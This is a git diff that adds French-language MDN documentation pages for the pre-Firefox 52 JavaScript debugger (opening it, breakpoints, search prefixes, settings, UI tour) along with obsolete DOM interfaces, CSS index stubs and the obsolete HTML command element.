diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/highlight_and_inspect_dom_nodes/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/highlight_and_inspect_dom_nodes/index.html new file mode 100644 index 0000000000..edcdc56c82 --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/highlight_and_inspect_dom_nodes/index.html @@ -0,0 +1,16 @@ +--- +title: Afficher en surbrillance et inspecter les nœuds DOM +slug: Outils/Debugger_(before_Firefox_52)/How_to/Highlight_and_inspect_DOM_nodes +translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Highlight_and_inspect_DOM_nodes +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Si vous survolez un nœud DOM dans le panneau des variables, il sera affiché en surbrillance dans la page :

+ +

De plus, une icône en forme de cible apparaitra à côté de la variable. Cliquer sur cette icône, ouvrira l'Inspecteur avec l'élément DOM sélectionné.

+ +

{{EmbedYouTube("0JWxXp2Qql8")}}

diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/index.html new file mode 100644 index 0000000000..7fa79d80a3 --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/index.html @@ -0,0 +1,8 @@ +--- +title: Comment ? +slug: Outils/Debugger_(before_Firefox_52)/How_to +translation_of: Tools/Debugger_(before_Firefox_52)/How_to +--- +
{{ToolsSidebar}}

Ces articles décrivent comment se servir du Débogueur.

+ +

{{ ListSubpages () }}

diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/open_the_debugger/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/open_the_debugger/index.html new file mode 100644 index 0000000000..dc052eb319 --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/open_the_debugger/index.html @@ -0,0 +1,21 @@ +--- +title: Ouvrir le Débogueur +slug: Outils/Debugger_(before_Firefox_52)/How_to/Open_the_debugger +translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Open_the_debugger +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Pour ouvrir le Débogueur, il faut utiliser le bouton du menu Firefox (new fx menu). Puis sélectionner "Développement web", et enfin sélectionner "Débogueur". Il est également possible d'utiliser le raccourci clavier :

+ +
    +
  • Controle+Maj+S sur Windows et Linux
    • +
  • Command+Option+S sur Mac
    • +
+ +

La  Boite à outils apparaitra alors en bas du navigateur, avec le Débogueur activé. Voici une capture d'écran qui montre à quoi ressemble le débogueur lors de son ouverture :

+ +

diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/pretty-print_a_minified_file/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/pretty-print_a_minified_file/index.html new file mode 100644 index 0000000000..a5ba32edb2 --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/pretty-print_a_minified_file/index.html @@ -0,0 +1,16 @@ +--- +title: Formater et indenter un fichier minifié +slug: Outils/Debugger_(before_Firefox_52)/How_to/Pretty-print_a_minified_file +translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Pretty-print_a_minified_file +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Pour formater et indenter un fichier qui a été minifié, il faut ouvrir le fichier minifié et cliquer sur l'icône en forme de paire d'accolades :

+ +

Le fichier apparaitra alors dans un format plus lisible :

+ +

Il est possible de demander au débogueur de détecter et de formater et indenter automatiquement les sources minifiés. Pour cela, il faut activer l'option "Formater et Indenter automatiquement les sources compactées" dans les options du débogueur.

diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/search_and_filter/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/search_and_filter/index.html new file mode 100644 index 0000000000..5e35c61cd9 --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/search_and_filter/index.html @@ -0,0 +1,74 @@ +--- +title: Rechercher et filtrer +slug: Outils/Debugger_(before_Firefox_52)/How_to/Search_and_filter +translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Search_and_filter +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Pour effectuer une recherche à l'intérieur du débogueur, il est possible d'utiliser le filtre de script de la barre d'outils :

+ +

+ +

Ne pas utiliser de préfixe dans le filtre aura pour conséquence de ne rechercher que dans la liste des sources du Panneau de la liste des sources. Pour voir la source correspondante au nom de fichier recherché, il faut utiliser la touche entrée ou les flèches directionnelles.

+ +

Utiliser un préfixe correspondant à l'un des divers caractères spéciaux aura différents effets sur la recherche :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PréfixeFonction
AucunFiltre les scripts affichés dans le panneau de la liste des sources.
!Recherche la chaine de caractère dans tous les fichiers.
@Recherche une définition de fonction dans tous les fichiers
# +

Recherche l'expression dans le fichier actuellement ouvert dans le panneau de la liste des sources.

+ +

Appuyer sur entrée itérera parmi les occurrences.

+
:Va à la ligne donnée dans le fichier actuellement ouvert dans le panneau de la liste des sources.
*Filtrer les variables affichées dans le panneau des variables.
+ +

Ces options sont affichées dans une pop-up lors d'un clic sur le filtre. Elles sont également accessibles depuis le menu contextuel dans le panneau des sources.

+ +

Les préfixes peuvent être combinés pour obtenir des expressions puissants. Par exemple :

+ + + + + + + + + + + + +
toto.js:12Ouvre le fichier "toto.js" et se rend à la ligne 12
mod#onLoadRecherche la chaine de caractères "onLoad" dans tous les fichiers contenant "mod" dans leur noms.
diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/set_a_breakpoint/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/set_a_breakpoint/index.html new file mode 100644 index 0000000000..62a8ce9317 --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/set_a_breakpoint/index.html @@ -0,0 +1,29 @@ +--- +title: Ajouter un point d'arrêt +slug: Outils/Debugger_(before_Firefox_52)/How_to/Set_a_breakpoint +translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Set_a_breakpoint +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Il existe différentes façons de placer un point d'arrêt dans du code JavaScript dans le Débogueur :

+ +
    +
  • Dans le panneau des sources, cliquez sur le numéro de ligne où vous voulez arrêter le code
    • +
  • Dans le panneau des sources, faites un clic droit sur la ligne où vous voulez arrêter le code pour ouvrir le menu contextuel puis cliquez sur "Ajouter un point d'arrêt"
    • +
  • Dans le panneau des sources, mettez la ligne ciblée en surbrillance et appuyez sur Ctrl+B (Windows/Linux) ou Command+B (Mac OS X)
    • +
+ +

Chaque point d'arrêt est affiché à deux endroits dans le débogueur :

+ + + +

La capture d'écran ci-dessous montre les points d'arrêt aux lignes 20 et 28 du fichier.

+ +

diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/set_a_conditional_breakpoint/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/set_a_conditional_breakpoint/index.html new file mode 100644 index 0000000000..5025b633bb --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/set_a_conditional_breakpoint/index.html @@ -0,0 +1,22 @@ +--- +title: Ajouter un point d’arrêt conditionnel +slug: Outils/Debugger_(before_Firefox_52)/How_to/Set_a_conditional_breakpoint +translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Set_a_conditional_breakpoint +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Pour ajouter un point d'arrêt conditionnel, il faut activer le menu contextuel (clic droit) en étant sur la ligne voulue dans le panneau des sources et sélectionner « Ajouter un point d'arrêt conditionnel ». Il faut alors entrer la condition dans la pop-up qui apparait :

+ +

+ +

Les points d'arrêt conditionnels sont représentés par une flèche orange :

+ +

+ +

Pour éditer la condition ou pour ajouter une condition à un point d'arrêt normal, il faut activer le menu contextuel (clic droit) et sélectionner « Configurer le point d'arrêt » :

+ +

diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/step_through_code/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/step_through_code/index.html new file mode 100644 index 0000000000..64743f97f8 --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/step_through_code/index.html @@ -0,0 +1,23 @@ +--- +title: Parcourir le code +slug: Outils/Debugger_(before_Firefox_52)/How_to/Step_through_code +translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Step_through_code +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Quand le code s'arrête sur un point d'arrêt, il est possible de le parcourir pas à pas en utilisant les quatre boutons à gauche dans la barre d'outils :

+ +

+ +

De gauche à droite :

+ +
    +
  • Reprendre : exécute le code jusqu'au prochain point d'arrêt
    • +
  • Passer la fonction : avance jusqu'à ligne suivante dans la même fonction
    • +
  • Entrer dans la fonction : avance jusqu'à la ligne suivante, sauf s'il y a un appel de fonction dans ce cas, le débogueur entre dans la fonction appelée
    • +
  • Sortir de la fonction : avance jusqu’à la fin de la fonction actuelle
    • +
diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/use_a_source_map/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/use_a_source_map/index.html new file mode 100644 index 0000000000..0593d49d3a --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/use_a_source_map/index.html @@ -0,0 +1,20 @@ +--- +title: Utiliser une source map +slug: Outils/Debugger_(before_Firefox_52)/How_to/Use_a_source_map +translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Use_a_source_map +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Les sources JavaScript sont souvent combinées et minifiées afin d'optimiser le temps que met le serveur à les fournir. Il est également de plus en plus courant que les sources soient générées automatiquement en utilisant un langage comme CoffeeScript. En utilisant des source maps, le débogueur peut faire le lien entre le code étant exécuté et les fichiers sources originaux, rendant ainsi le débogage incroyablement plus facile.

+ +

Par défaut, le Débogueur utilisera les sources map si elles sont disponibles. Pour vérifier si l'utilisation des sources maps est activé (ou pour la désactiver), il faut cliquer sur les options du débogueur et dans la liste qui s'affiche sélectionner "Afficher les sources originales"  :

+ +

+ +

Bien sûr, pour que cela fonctionne il faut avoir fourni une source map pour le JavaScript tournant dans la page. Pour cela il faut ajouter une instruction en commentaire dans votre fichier source :

+ +

//# sourceMappingURL=http://example.com/chemin/vers/votre/sourcemap.map

diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/index.html new file mode 100644 index 0000000000..13f53b09e4 --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/index.html @@ -0,0 +1,55 @@ +--- +title: Débogueur (avant Firefox 52) +slug: Outils/Debugger_(before_Firefox_52) +translation_of: Tools/Debugger_(before_Firefox_52) +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Le débogueur JavaScript permet d'avancer pas à pas dans du code JavaScript et de l’examiner ou de le modifier, afin de retrouver et de corriger les bugs.

+ +

Le débogueur peut fonctionner directement dans Firefox ou être utilisé à distance, par exemple sur un appareil Firefox OS ou Firefox sur Android. Voir le guide du débogage à distance pour apprendre à connecter le débogueur à une cible distante

+ +

{{EmbedYouTube("sK8KU8oiF8s")}}

+ +
+

Visite guidée de l'interface utilisateur

+ +

Pour vous repérer dans le débogueur, voici une courte visite guidée de l'interface utilisateur.

+ +
+

Comment ?

+ +

Pour savoir ce qu'il est possible de faire avec le débogueur, regardez les guides pratiques suivants :

+ +
+ +
+ +
+

Référence

+ +
+ +
diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/keyboard_shortcuts/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/keyboard_shortcuts/index.html new file mode 100644 index 0000000000..9de13b55a9 --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/keyboard_shortcuts/index.html @@ -0,0 +1,16 @@ +--- +title: Raccourcis clavier +slug: Outils/Debugger_(before_Firefox_52)/Keyboard_shortcuts +translation_of: Tools/Debugger_(before_Firefox_52)/Keyboard_shortcuts +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "old-debugger") }}

+ +

Raccourcis généraux

+ +

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}

diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/settings/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/settings/index.html new file mode 100644 index 0000000000..9037a57151 --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/settings/index.html @@ -0,0 +1,63 @@ +--- +title: Paramètres +slug: Outils/Debugger_(before_Firefox_52)/Settings +translation_of: Tools/Debugger_(before_Firefox_52)/Settings +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Le Débogueur a son propre menu de paramètres. Il est accessible depuis l’icône en forme d'engrenage dans la barre d'outils :

+ +

+ +

Chaque paramètre est une simple case à cocher :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Formater et indenter automatiquement les sources compactéesLorsque cette option est activée, le Débogueur affichera joliment les fichiers JavaScript minifiés.
Pause sur les exceptionsLorsque cette option est activée, l’exécution du script s’arrêtera automatiquement lorsqu'une exception JavaScript est levée.
Ignorer les exceptions interceptées +

Lorsque cette option est activée, l’exécution ne s’arrêtera pas lorsqu'une exception levée est interceptée

+ +

Si cette option est activée (elle l'est par défaut), et que "Pause sur les exceptions" est activé, alors l'exécution s’arrêtera uniquement si l'exception levée n'est pas attrapée. Ce qui est généralement le comportement désiré : les expressions interceptées indiquent généralement que votre programme les gère correctement.

+
Panneaux développés au démarrageLorsque cette option est activée, le panneau des variables du Débogueur est visible dès l'ouverture de celui-ci.
Afficher uniquement les propriétés énumérablesLes propriétés JavaScript non-énumérables ne sont pas affichées
Afficher la boîte de filtrage des variablesLorsque cette option est activée, une boîte de recherche est ajoutée au panneau des variables, elle permet de filtrer la liste des variables affichée
Afficher les sources originalesLorsque cette option est activée, le Débogueur utilisera des source maps, s'il y en a, afin d'afficher le code source original qui a été minifié, combiné ou même compilé depuis un langage comme CoffeeScript. Cette option est activée par défaut
Mettre automatiquement dans une boîte noire les sources compactées +
+

Nouveauté de Firefox 33

+
+ +

Met automatiquement les sources dont l'URL finit par ".min.js" dans une boîte noire

+
diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/ui_tour/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/ui_tour/index.html new file mode 100644 index 0000000000..0a8213687b --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/ui_tour/index.html @@ -0,0 +1,134 @@ +--- +title: Visite guidée de l'interface utilisateur +slug: Outils/Debugger_(before_Firefox_52)/UI_Tour +translation_of: Tools/Debugger_(before_Firefox_52)/UI_Tour +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Cet article est une visité guidée des principales sections de l'interface utilisateur du Débogueur JavaScript de Firefox. Cette interface est séparée en six sections principales :

+ + + +

+ +

Barre d'outils

+ +

La barre d'outils est composé de quatre sections :

+ + + +

+ +

Les quatre boutons de gauche ont (dans l'ordre) les fonctions suivantes :

+ +
    +
  • Pause/Reprendre(F8) : met pause ou reprend l’exécution du script en débogage. Lorsque ce bouton devient bleu, cela veut dire que le script est en pause, soit parce que vous avez appuyé sur le bouton soit parce que le code est arrivé sur un point d'arrêt.
    • +
  • Passer la fonction (F10) : Passe à la ligne de JavaScript suivante.
    • +
  • Entrer dans la fonction (F11) : Entre dans la fonction appelée par la ligne de JavaScript actuelle si appel il y a. Sinon, passe à la ligne suivante.
    • +
  • Sortir de la fonction (Shift-F11): Fait tourner le code jusqu’à sortir de la fonction actuelle.
    • +
+ +

La visualisation de la pile d’exécution montre la pile d’exécution au moment ou l’exécution est arrêté.

+ +

Panneau de la liste des sources

+ +

Le panneau de la liste des sources liste tous les fichiers sources JavaScript qui sont chargés dans la page, et permet d'en sélectionner un pour le déboguer. Ce panneau partage sa portion d'écran avec le panneau de la pile d’exécution. Les onglets en haut des panneaux permetent de passer d'un panneau à l'autre.

+ +

+ +

Les fichiers sources sont regroupés sous différentes catégories basées sur l'origine de ces fichiers. Il est possible de sélectionner n'importe lequel de ces fichiers et il sera alors chargé dans le panneau des sources.

+ +

Chaque point d'arrêt mis dans un fichier source est listé dans le panneau de la liste des sources juste en dessous du nom de ce fichier. La case à cocher à côté de chaque point d'arrêt permet de l'activer ou de le désactiver. Effectuer un clic droit sur un point d'arrêt dans la liste affiche un menu contextuel permettant de :

+ +
    +
  • Désactiver, activer ou supprimer ce point d'arrêt, tous les points d'arrêt ou tous les points d'arrêt sauf celui-ci.
    • +
  • Rendre ce point d'arrêt conditionnel (ou éditer sa condition si il l'est déjà).
    • +
+ +

Les trois icônes en bas du panneau permettent de :

+ + + +

Il existe un menu contextuel (clic droit) pour les éléments de la liste des sources celui-ci permet de copier l'URL d'où viennent les fichiers, ou bien de les ouvrir dans un nouvel onglet :

+ +

+ +

Panneau de la pile d’exécution

+ +

Le deuxième onglet de la partie gauche du Débogueur affiche une pile d’exécution verticale :

+ +

+ +

Chaque ligne représente un niveau de la pile, avec la couche actuelle au-dessus. Chaque ligne contient le nom de la fonction ou elle est exécutée ainsi qu'un lien vers le fichier source au bon numéro de ligne.

+ +

Panneau des sources

+ +

+ +

Ce panneau affiche le fichier source JavaScript actuellement chargé. Les lignes ayant un point d'arrêt ont un cercle bleu à côté du numéro de ligne. Lorsqu'un point d'arrêt est atteint, une flèche verte apparaît sur le cercle :

+ +

+ +

Dans le panneau des sources, le menu contextuel (clic droit) permet :

+ +
    +
  • D'ajouter un point d'arrêt.
    • +
  • D'ajouter un point d'arrêt conditionnel
    • +
  • D'ajouter une expression-espionne de la sélection
    • +
  • De rechercher ou filtrer en utilisant le filtre de scripts
    • +
+ + + +

Survoler une variable dans le panneau des sources fait apparaître une popup affichant la valeur actuelle de la variable :

+ +

+ +

Cela permet de savoir rapidement la valeur d'une variable sans avoir à ouvrir le panneau des variables.

+ +

Panneau des variables

+ +

Le panneau des variables permet d’examiner et de modifier les variables du script lors de son exécution :

+ +

+ +

Ce panneau partage sa portion d'écran avec le panneau des événements. Pour passer de l'un à l'autre, il faut utiliser les onglets situés en haut du panneau.

+ +

Panneau des événements

+ +

Ce panneau liste tous les événements DOM qui sont écoutés dans le code.

+ +

+ +

Ce panneau partage sa portion d'écran avec le panneau des variables Pour passer de l'un à l'autre, il faut utiliser les onglets situés en haut du panneau.

+ +

Ce panneau regroupe les événements par type, la capture d'écran ci-dessus montre quatre types : Interaction, clavier, souris, et navigation. Les événements qui ont un écouteur sont listés sous leur type avec la syntaxe suivante :

+ +
[nom de l’événement] sur [cible de l’événement] dans [fichier source]
+ +

Cliquer sur la case à cocher à côté de l’événement aura pour conséquence de faire s’arrêter l’exécution à la première ligne de l'écouteur de l’événement. Cliquer sur la case à cocher à côté d'un type d’événement aura pour conséquence de faire s’arrêter l’exécution dans tous les écouteurs des événements listés sous ce type.

diff --git a/files/fr/orphaned/web/api/entity/index.html b/files/fr/orphaned/web/api/entity/index.html new file mode 100644 index 0000000000..2c160ead13 --- /dev/null +++ b/files/fr/orphaned/web/api/entity/index.html @@ -0,0 +1,114 @@ +--- +title: Entity +slug: Web/API/Entity +tags: + - API + - DOM + - Entités + - Interface + - Noeuds +translation_of: Web/API/Entity +--- +

{{APIRef("DOM")}}{{obsolete_header}}

+ +

Référence en lecture seule à une entité DTD (définition de type de document). Hérite également des méthodes et propriétés de {{domxref("Node")}}.

+ +

Propriétés

+ +
+
{{domxref("Entity.publicId")}} {{ReadOnlyInline}}
+
est une {{domxref("DOMString")}} (chaîne de caractères).
+
{{domxref("Entity.systemId")}} {{ReadOnlyInline}}
+
est une {{domxref("DOMString")}} (chaîne de caractères).
+
{{domxref("Entity.notationName")}}{{ReadOnlyInline}}
+
est une {{domxref("DOMString")}} (chaîne de caractères).
+
{{domxref("Entity.inputEncoding")}}{{ReadOnlyInline}}
+
est une {{domxref("DOMString")}} (chaîne de caractères).
+
{{domxref("Entity.xmlEncoding")}}{{ReadOnlyInline}}
+
est une {{domxref("DOMString")}} (chaîne de caractères).
+
{{domxref("Entity.xmlVersion")}}{{ReadOnlyInline}}
+
est une {{domxref("DOMString")}} (chaîne de caractères).
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName("DOM3 Core", "core.html#ID-527DCFF2", "Entity")}}{{Spec2("DOM3 Core")}}Ajout de inputEncoding, xmlEncoding et xmlVersion.
{{SpecName("DOM2 Core", "core.html#ID-527DCFF2", "Entity")}}{{Spec2("DOM2 Core")}}Pas de changement.
{{SpecName('DOM1', 'level-one-core.html#ID-527DCFF2', 'Entity')}}{{Spec2('DOM1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/fr/orphaned/web/api/entityreference/index.html b/files/fr/orphaned/web/api/entityreference/index.html new file mode 100644 index 0000000000..ee21b2b83f --- /dev/null +++ b/files/fr/orphaned/web/api/entityreference/index.html @@ -0,0 +1,93 @@ +--- +title: EntityReference +slug: Web/API/EntityReference +tags: + - API + - Arborescence + - DOM + - Entité + - Interface + - Noeuds + - Reference +translation_of: Web/API/EntityReference +--- +

{{APIRef("DOM")}}{{Obsolete_header}}

+ +
+

NOTE : Ceci n'est pas implémenté dans Mozilla

+
+ +

Référence en lecture seule à une référence d'entité dans l'arborescence DOM. N'a pas de propriétés ou méthodes propres mais hérite de {{domxref("Node")}}.

+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName("DOM3 Core", "core.html#ID-11C98490", "EntityReference")}}{{Spec2("DOM3 Core")}}Définition initiale
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/fr/orphaned/web/api/namelist/index.html b/files/fr/orphaned/web/api/namelist/index.html new file mode 100644 index 0000000000..9003767ee3 --- /dev/null +++ b/files/fr/orphaned/web/api/namelist/index.html @@ -0,0 +1,52 @@ +--- +title: NameList +slug: Web/API/NameList +tags: + - API + - DOM + - Obsolete +translation_of: Web/API/NameList +--- +
{{APIRef("DOM")}} {{ obsolete_header("10.0") }}
+ +
+

Note: Bien que cette interface ait été précédemment implémentée dans Gecko, il n'y avait aucun moyen d'en créer une. NameList a été supprimé, en vigueur avec {{ Gecko("10.0") }}

+
+ +

L'interface NameList fournit une abstraction pour une collection ordonnée de paires de valeurs de nom et d'espace de noms. Les éléments sont accessibles par un index basé sur 0. La spécification DOM ne spécifie pas comment la collection doit être implémentée.

+ +

Propriétés

+ +
+
{{domxref("NameList.length")}} {{readonlyInline}}
+
+ +

Méthodes

+ +
+
{{domxref("NameList.contains()")}}
+
Renvoie un {{jsxref("Boolean")}}.
+
{{domxref("NameList.containsNS()")}}
+
Renvoie un {{jsxref("Boolean")}}.
+
{{domxref("NameList.getName()")}}
+
Renvoie un {{domxref("DOMString")}}.
+
{{domxref("NameList.getNamespaceURI()")}}
+
Renvoie un {{domxref("DOMString")}}.
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName("DOM3 Core", "core.html#NameList", "NameList")}}{{Spec2("DOM3 Core")}}Définition initiale.
diff --git a/files/fr/orphaned/web/css/@media/index/index.html b/files/fr/orphaned/web/css/@media/index/index.html new file mode 100644 index 0000000000..e227a1aecb --- /dev/null +++ b/files/fr/orphaned/web/css/@media/index/index.html @@ -0,0 +1,12 @@ +--- +title: Index +slug: Web/CSS/@media/Index +tags: + - '@media' + - CSS + - Index +translation_of: Web/CSS/@media/Index +--- +

{{CSSRef}}

+ +

{{Index("/fr/docs/Web/CSS/@media")}}

diff --git a/files/fr/orphaned/web/css/index/index.html b/files/fr/orphaned/web/css/index/index.html new file mode 100644 index 0000000000..aa0bcd3253 --- /dev/null +++ b/files/fr/orphaned/web/css/index/index.html @@ -0,0 +1,10 @@ +--- +title: Index de la documentation CSS +slug: Web/CSS/Index +tags: + - CSS + - Index + - MDN Meta +translation_of: Web/CSS/Index +--- +

{{Index("/fr/docs/Web/CSS")}}

diff --git a/files/fr/orphaned/web/html/element/command/index.html b/files/fr/orphaned/web/html/element/command/index.html new file mode 100644 index 0000000000..d5bdf50924 --- /dev/null +++ b/files/fr/orphaned/web/html/element/command/index.html @@ -0,0 +1,117 @@ +--- +title: ' : l''élément de commande' +slug: Web/HTML/Element/command +tags: + - Element + - HTML + - Obsolete + - Reference +translation_of: Web/HTML/Element/command +--- +
{{obsolete_header}}{{HTMLRef}}
+ +

L'élément HTML <command> représente une commande qui peut être lancée par l'utilisateur. Ces commandes font généralement partie d'un menu contextuel ou d'une barre d'outils mais on peut les exécuter n'importe où sur la page.

+ +
+

Note : L'élément <command> est inclus dans la spécification du W3C mais pas dans celle du WHATWG. Par ailleurs, à l'heure actuelle, aucun navigateur ne prend en charge cet élément.

+
+ +

Attributes

+ +

Comme pour tous les éléments, on peut utiliser les attributs universels sur cet élément.

+ +
+
{{htmlattrdef("checked")}}
+
Cet attribut indique que la commande est sélectionnée. Il ne doit pas être utilisé si l'attribut type ne vaut pas checkbox ou radio.
+
{{htmlattrdef("disabled")}}
+
Cet attribut indique que la commande n'est pas disponible.
+
{{htmlattrdef("icon")}}
+
Cet attribut fournit une image qui représente la commande.
+
{{htmlattrdef("label")}}
+
Cet attribut indique le nom de la commande telle qu'elle est affichée à l'utilisateur.
+
{{htmlattrdef("radiogroup")}}
+
Cet attribut indique le nom du groupe de commandes auquel appartient la commande lorsque l'attribut type vaut radio le groupe sera activé lorsque la commande sera activée. Cet attribut ne doit pas être utilisé lorsque l'attribut type ne vaut pas radio.
+
{{htmlattrdef("type")}}
+
Cet attribut à valeur contrainte indique le type de commande. On peut utiliser une des trois valeurs . +
    +
  • +

    command (le type par défaut) indique une commande normale.

    +
    • +
  • +

    checkbox indique que la commande peut être activée grâce à une case à cocher.

    +
    • +
  • +

    radio indique que la commande peut être activée grâce à un bouton radio.

    +
    • +
+
+
+ +

Examples

+ +

HTML

+ +
<command type="command" label="Save"
+  icon="icons/save.png" onclick="save()">
+
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples","200","100")}}

+ +

Résumé technique

+ + + + + + + + + + + + + + + + + + + + + + + + +
Catégories de contenuContenu de flux, contenu phrasé, contenu de méta-données.
Contenu autoriséAucun, cet élément est un élément vide.
Omission de balisesLa balise de début est obligatoire et la balise de fin est interdite car c'est un élément vide.
Éléments parents autorisés{{HTMLElement("colgroup")}} uniquement bien que celui-ci puisse être défini implicitement car sa balise de début n'est pas obligatoire. L'élément {{HTMLElement("colgroup")}} ne doit pas avoir d'élément fils {{HTMLElement("span")}}.
Interface DOM{{domxref("HTMLCommandElement")}}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', '#commands')}}{{Spec2('HTML WHATWG')}} 
